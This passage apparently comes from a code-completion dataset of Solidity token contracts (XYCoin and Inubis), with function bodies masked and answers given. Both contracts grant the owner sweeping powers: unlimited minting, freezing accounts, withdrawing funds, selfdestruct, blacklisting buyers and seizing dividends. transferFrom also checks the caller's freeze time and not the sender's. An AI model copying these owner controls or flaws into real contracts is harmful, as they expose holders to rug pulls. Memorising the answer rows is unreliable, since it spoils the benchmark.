balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(!frozenAccount[_from]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
) public
returns (bool) {<FILL_FUNCTION_BODY> }
function getFrozenTimestamp(
address _target
)
public view
returns (uint256) {
require(_target != address(0));
return frozenTimestamp[_target];
}
function getFrozenAccount(
address _target
)
public view
returns (bool) {
require(_target != address(0));
return frozenAccount[_target];
}
function getBalance()
public view
returns (uint256) {
return address(this).balance;
}
function setExchangeFlag (
bool _flag
)
public
returns (bool) {
require(msg.sender == owner);
exchangeFlag = _flag;
return true;
}
function setMinWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
minWei = _value;
return true;
}
function setMaxWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxWei = _value;
return true;
}
function setMaxRaiseAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxRaiseAmount = _value;
return true;
}
function setRaisedAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raisedAmount = _value;
return true;
}
function setRaiseRatio (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raiseRatio = _value;
return true;
}
function kill()
public {
require(msg.sender == owner);
selfdestruct(owner);
}
} | contract AdvanceToken is StandardToken {
address public owner;
string public name = "XYCoin(逍遥生态币)";
string public symbol = "XYC";
uint8 public decimals =4;
uint256 public totalSupply = 10000000000e4;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public frozenTimestamp;
bool public exchangeFlag = true;
uint256 public minWei = 1;
uint256 public maxWei = 2e18;
uint256 public maxRaiseAmount =20e18;
uint256 public raisedAmount = 0;
uint256 public raiseRatio = 200000;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
totalSupply_ = totalSupply;
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function()
public payable {
require(msg.value > 0);
if (exchangeFlag) {
if (msg.value >= minWei && msg.value <= maxWei){
if (raisedAmount < maxRaiseAmount) {
uint256 valueNeed = msg.value;
raisedAmount = raisedAmount.add(msg.value);
if (raisedAmount > maxRaiseAmount) {
uint256 valueLeft = raisedAmount.sub(maxRaiseAmount);
valueNeed = msg.value.sub(valueLeft);
msg.sender.transfer(valueLeft);
raisedAmount = maxRaiseAmount;
}
if (raisedAmount >= maxRaiseAmount) {
exchangeFlag = false;
}
uint256 _value = valueNeed.mul(raiseRatio);
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Transfer(owner, msg.sender, _value);
}
} else {
msg.sender.transfer(msg.value);
}
} else {
msg.sender.transfer(msg.value);
}
}
function changeowner(
address _newowner
)
public
returns (bool) {
require(msg.sender == owner);
require(_newowner != address(0));
owner = _newowner;
return true;
}
function generateToken(
address _target,
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
balances[_target] = balances[_target].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
totalSupply = totalSupply_;
return true;
}
function withdraw (
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
msg.sender.transfer(_amount);
return true;
}
function freeze(
address _target,
bool _freeze
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenAccount[_target] = _freeze;
return true;
}
function freezeWithTimestamp(
address _target,
uint256 _timestamp
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreeze(
address[] _targets,
bool[] _freezes
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function multiFreezeWithTimestamp(
address[] _targets,
uint256[] _timestamps
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
function multiTransfer(
address[] _tos,
uint256[] _values
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender]);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
require(_to != address(0));
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(!frozenAccount[_from]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
<FILL_FUNCTION>
function getFrozenTimestamp(
address _target
)
public view
returns (uint256) {
require(_target != address(0));
return frozenTimestamp[_target];
}
function getFrozenAccount(
address _target
)
public view
returns (bool) {
require(_target != address(0));
return frozenAccount[_target];
}
function getBalance()
public view
returns (uint256) {
return address(this).balance;
}
function setExchangeFlag (
bool _flag
)
public
returns (bool) {
require(msg.sender == owner);
exchangeFlag = _flag;
return true;
}
function setMinWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
minWei = _value;
return true;
}
function setMaxWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxWei = _value;
return true;
}
function setMaxRaiseAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxRaiseAmount = _value;
return true;
}
function setRaisedAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raisedAmount = _value;
return true;
}
function setRaiseRatio (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raiseRatio = _value;
return true;
}
function kill()
public {
require(msg.sender == owner);
selfdestruct(owner);
}
} |
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
| function approve(
address _spender,
uint256 _value
) public
returns (bool) | function approve(
address _spender,
uint256 _value
) public
returns (bool) |
55073 | Inubis | withdrawableDividendOf | contract Inubis is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
InubisDividendTracker public dividendTracker;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address payable public marketingDevAndCharityAddress = payable(0xa7F28041DB9E522AF8f0a2c12A98B23fe2856169);
address payable public burnFundAddress = payable(0x1c174B1EEd0fd2990159E1FA1b60CACa16152086);
bool private swapping;
bool public maxTransactionLimitEnabled = true;
uint256 maxTransactionAmount = 1000000000000 * (10**9); //1T
uint256 public doubleTaxDailySellAmount = 500000000000 * (10**9); //500B
uint256 public swapTokensAtAmount = 20000000000 * (10**9); //20B
mapping(address => bool) private _isBot;
address[] private _confirmedBots;
bool public functionsEnabled = true;
bool public burnFundEnabled = true;
bool public ethRedistributionEnabled = true;
bool public marketingDevAndCharityEnabled = true;
uint256 public burnFee = 1;
uint256 public ethRedistributionFee = 5;
uint256 public marketingDevAndCharityFee = 3;
uint256 public totalFee = 9;
uint256 public gasForProcessing = 50000;
// once set to true can never be set false again
bool public tradingOpen = false;
uint256 public launchTime;
uint256 minimumTokenBalanceForDividends = 20000000000 * (10**9); //20B
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (uint256 => mapping(address => uint256)) public dailySell;
mapping (address => uint256) public lastTransfer;
mapping (address => bool) public isExcludedFromDailyLimit;
event DividendClaimed(uint256 ethAmount, uint256 tokenAmount, address account);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ProcessedDividendTracker(uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor);
event SendDividends(uint256 amount);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
constructor() ERC20("Inubis", "INUBIS") {
dividendTracker = new InubisDividendTracker();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
excludeFromFees(address(this), true);
excludeFromFees(owner(), true);
isExcludedFromDailyLimit[address(this)] = true;
isExcludedFromDailyLimit[owner()] = true;
_mint(owner(), 100000000000000 * (10**9)); //100T
}
function excludeFromDailyLimit(address account, bool excluded) public onlyOwner {
require(isExcludedFromDailyLimit[account] != excluded, "Inubis: Daily limit exclusion is already the value of 'excluded'");
isExcludedFromDailyLimit[account] = excluded;
}
function setMaxTransactionLimitEnabled(bool enabled) public onlyOwner {
require(maxTransactionLimitEnabled != enabled, "Inubis: Max transaction limit enabled is already the value of 'enabled'");
maxTransactionLimitEnabled = enabled;
}
function setFunctionsEnabled(bool enabled) public onlyOwner {
functionsEnabled = enabled;
}
function setBurnFundEnabled(bool enabled) public onlyOwner {
burnFundEnabled = enabled;
}
function setETHRedistributionEnabled(bool enabled) public onlyOwner {
ethRedistributionEnabled = enabled;
}
function setMarketingDevAndCharityFeeEnabled(bool enabled) public onlyOwner {
marketingDevAndCharityEnabled = enabled;
}
function setMaxTransactionAmount(uint256 newAmount) public onlyOwner {
maxTransactionAmount = newAmount;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
swapTokensAtAmount = newAmount;
}
function setDoubleTaxDailySellAmount(uint256 newAmount) public onlyOwner {
doubleTaxDailySellAmount = newAmount;
}
function updateMarketingDevAndCharityAddress(address payable newAddress) public onlyOwner {
marketingDevAndCharityAddress = newAddress;
}
function updateBurnFundAddress(address payable newAddress) public onlyOwner {
burnFundAddress = newAddress;
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
dividendTracker.updateGasForTransfer(gasForTransfer);
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
require(newValue != gasForProcessing, "Inubis: Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getGasForTransfer() external view returns(uint256) {
return dividendTracker.gasForTransfer();
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed() external view returns (uint256) {
return dividendTracker.totalDividendsDistributed();
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function withdrawableDividendOf(address account) public view returns(uint256) {<FILL_FUNCTION_BODY> }
function dividendTokenBalanceOf(address account) public view returns (uint256) {
return dividendTracker.balanceOf(account);
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account);
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getLastProcessedAccount()
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getLastProcessedAccount();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function reinvestInactive(address payable account) public onlyOwner {
uint256 tokenBalance = dividendTracker.balanceOf(account);
require(tokenBalance <= minimumTokenBalanceForDividends, "Inubis: Account balance must be less then minimum token balance for dividends");
uint256 _lastTransfer = lastTransfer[account];
require(block.timestamp.sub(_lastTransfer) > 12 weeks, "Inubis: Account must have been inactive for at least 12 weeks");
dividendTracker.processAccount(account, false);
uint256 dividends = address(this).balance;
(bool success,) = address(dividendTracker).call{value: dividends}("");
if(success) {
emit SendDividends(dividends);
try dividendTracker.setBalance(account, 0) {} catch {}
}
}
receive() external payable {
}
function updateDividendTracker(address newAddress) public onlyOwner {
require(newAddress != address(dividendTracker), "Inubis: The dividend tracker already has that address");
InubisDividendTracker newDividendTracker = InubisDividendTracker(payable(newAddress));
require(newDividendTracker.owner() == address(this), "Inubis: The new dividend tracker must be owned by the Inubis token contract");
emit UpdateDividendTracker(newAddress, address(dividendTracker));
dividendTracker = newDividendTracker;
dividendTracker.excludeFromDividends(address(newDividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "Inubis: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
dividendTracker.excludeFromDividends(address(uniswapV2Router));
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(_isExcludedFromFees[account] != excluded, "Inubis: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Inubis: The UniSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Inubis: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(maxTransactionLimitEnabled)
{
require(amount <= maxTransactionAmount, "Transfer amount exceeds the maxTransactionAmount.");
}
require(!_isBot[from], "Bots cannot call transfer function");//antibot
require(!_isBot[to], "Bots cannot call transfer function");//antibot
}
// buy
if (from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFees[to]) {
require(tradingOpen, "Trading not opened yet!");
//antibot: block zero bots will be added to bot blacklist
if (block.timestamp == launchTime) {
_isBot[to] = true;
_confirmedBots.push(to);
}
}
if(functionsEnabled && !swapping)
{
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFees[to]) { //a buy
if(burnFundEnabled)
{
burnFee = 1;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 5;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 3;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}else if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFees[to]) { //a sell
if(dailySell[getDay()][from].add(amount) > doubleTaxDailySellAmount) //a sell for value greater than doubleTaxDailySellAmount
{
if(burnFundEnabled)
{
burnFee = 2;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 10;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 6;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}else{
if(burnFundEnabled)
{
burnFee = 1;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 5;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 3;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}
dailySell[getDay()][from] = dailySell[getDay()][from].add(amount);
}
if( canSwap &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to] &&
(totalFee > 0))
{
swapping = true;
swapAndDistribute();
swapping = false;
}
bool takeFee = true;
if((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to])) {
takeFee = false;
}
if(takeFee && (totalFee >0)) {
uint256 fees = amount.mul(totalFee).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {}
lastTransfer[from] = block.timestamp;
lastTransfer[to] = block.timestamp;
if (ethRedistributionEnabled) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}else{
super._transfer(from, to, amount);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndDistribute() private {
uint256 tokenBalance = balanceOf(address(this));
swapTokensForEth(tokenBalance);
uint256 ethBalance = address(this).balance;
uint256 marketingDevAndCharityPortion = ethBalance.mul(marketingDevAndCharityFee).div(totalFee);
uint256 burnPortion = ethBalance.mul(burnFee).div(totalFee);
if(marketingDevAndCharityEnabled && marketingDevAndCharityPortion > 0)
{
marketingDevAndCharityAddress.transfer(marketingDevAndCharityPortion);
}
if(burnFundEnabled && burnPortion > 0)
{
burnFundAddress.transfer(burnPortion);
}
uint256 dividends = address(this).balance;
if(ethRedistributionEnabled && dividends > 0)
{
(bool success,) = address(dividendTracker).call{value: dividends}("");
if(success) {
emit SendDividends(dividends);
}
}
}
function getDay() internal view returns(uint256){
return block.timestamp.div(1 days);
}
function openTrading() external onlyOwner {
tradingOpen = true;
launchTime = block.timestamp;
}
function isBot(address account) public view returns (bool) {
return _isBot[account];
}
function blacklistBot(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We cannot blacklist Uniswap");
require(!_isBot[account], "Account is already blacklisted");
_isBot[account] = true;
_confirmedBots.push(account);
}
function amnestyBot(address account) external onlyOwner() {
require(_isBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _confirmedBots.length; i++) {
if (_confirmedBots[i] == account) {
_confirmedBots[i] = _confirmedBots[_confirmedBots.length - 1];
_isBot[account] = false;
_confirmedBots.pop();
break;
}
}
}
} | contract Inubis is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
InubisDividendTracker public dividendTracker;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address payable public marketingDevAndCharityAddress = payable(0xa7F28041DB9E522AF8f0a2c12A98B23fe2856169);
address payable public burnFundAddress = payable(0x1c174B1EEd0fd2990159E1FA1b60CACa16152086);
bool private swapping;
bool public maxTransactionLimitEnabled = true;
uint256 maxTransactionAmount = 1000000000000 * (10**9); //1T
uint256 public doubleTaxDailySellAmount = 500000000000 * (10**9); //500B
uint256 public swapTokensAtAmount = 20000000000 * (10**9); //20B
mapping(address => bool) private _isBot;
address[] private _confirmedBots;
bool public functionsEnabled = true;
bool public burnFundEnabled = true;
bool public ethRedistributionEnabled = true;
bool public marketingDevAndCharityEnabled = true;
uint256 public burnFee = 1;
uint256 public ethRedistributionFee = 5;
uint256 public marketingDevAndCharityFee = 3;
uint256 public totalFee = 9;
uint256 public gasForProcessing = 50000;
// once set to true can never be set false again
bool public tradingOpen = false;
uint256 public launchTime;
uint256 minimumTokenBalanceForDividends = 20000000000 * (10**9); //20B
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public automatedMarketMakerPairs;
mapping (uint256 => mapping(address => uint256)) public dailySell;
mapping (address => uint256) public lastTransfer;
mapping (address => bool) public isExcludedFromDailyLimit;
event DividendClaimed(uint256 ethAmount, uint256 tokenAmount, address account);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ProcessedDividendTracker(uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor);
event SendDividends(uint256 amount);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
constructor() ERC20("Inubis", "INUBIS") {
dividendTracker = new InubisDividendTracker();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
excludeFromFees(address(this), true);
excludeFromFees(owner(), true);
isExcludedFromDailyLimit[address(this)] = true;
isExcludedFromDailyLimit[owner()] = true;
_mint(owner(), 100000000000000 * (10**9)); //100T
}
function excludeFromDailyLimit(address account, bool excluded) public onlyOwner {
require(isExcludedFromDailyLimit[account] != excluded, "Inubis: Daily limit exclusion is already the value of 'excluded'");
isExcludedFromDailyLimit[account] = excluded;
}
function setMaxTransactionLimitEnabled(bool enabled) public onlyOwner {
require(maxTransactionLimitEnabled != enabled, "Inubis: Max transaction limit enabled is already the value of 'enabled'");
maxTransactionLimitEnabled = enabled;
}
function setFunctionsEnabled(bool enabled) public onlyOwner {
functionsEnabled = enabled;
}
function setBurnFundEnabled(bool enabled) public onlyOwner {
burnFundEnabled = enabled;
}
function setETHRedistributionEnabled(bool enabled) public onlyOwner {
ethRedistributionEnabled = enabled;
}
function setMarketingDevAndCharityFeeEnabled(bool enabled) public onlyOwner {
marketingDevAndCharityEnabled = enabled;
}
function setMaxTransactionAmount(uint256 newAmount) public onlyOwner {
maxTransactionAmount = newAmount;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
swapTokensAtAmount = newAmount;
}
function setDoubleTaxDailySellAmount(uint256 newAmount) public onlyOwner {
doubleTaxDailySellAmount = newAmount;
}
function updateMarketingDevAndCharityAddress(address payable newAddress) public onlyOwner {
marketingDevAndCharityAddress = newAddress;
}
function updateBurnFundAddress(address payable newAddress) public onlyOwner {
burnFundAddress = newAddress;
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
dividendTracker.updateGasForTransfer(gasForTransfer);
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
require(newValue != gasForProcessing, "Inubis: Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getGasForTransfer() external view returns(uint256) {
return dividendTracker.gasForTransfer();
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed() external view returns (uint256) {
return dividendTracker.totalDividendsDistributed();
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
<FILL_FUNCTION>
function dividendTokenBalanceOf(address account) public view returns (uint256) {
return dividendTracker.balanceOf(account);
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account);
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getLastProcessedAccount()
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getLastProcessedAccount();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function reinvestInactive(address payable account) public onlyOwner {
uint256 tokenBalance = dividendTracker.balanceOf(account);
require(tokenBalance <= minimumTokenBalanceForDividends, "Inubis: Account balance must be less then minimum token balance for dividends");
uint256 _lastTransfer = lastTransfer[account];
require(block.timestamp.sub(_lastTransfer) > 12 weeks, "Inubis: Account must have been inactive for at least 12 weeks");
dividendTracker.processAccount(account, false);
uint256 dividends = address(this).balance;
(bool success,) = address(dividendTracker).call{value: dividends}("");
if(success) {
emit SendDividends(dividends);
try dividendTracker.setBalance(account, 0) {} catch {}
}
}
receive() external payable {
}
function updateDividendTracker(address newAddress) public onlyOwner {
require(newAddress != address(dividendTracker), "Inubis: The dividend tracker already has that address");
InubisDividendTracker newDividendTracker = InubisDividendTracker(payable(newAddress));
require(newDividendTracker.owner() == address(this), "Inubis: The new dividend tracker must be owned by the Inubis token contract");
emit UpdateDividendTracker(newAddress, address(dividendTracker));
dividendTracker = newDividendTracker;
dividendTracker.excludeFromDividends(address(newDividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "Inubis: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
dividendTracker.excludeFromDividends(address(uniswapV2Router));
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(_isExcludedFromFees[account] != excluded, "Inubis: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Inubis: The UniSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Inubis: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
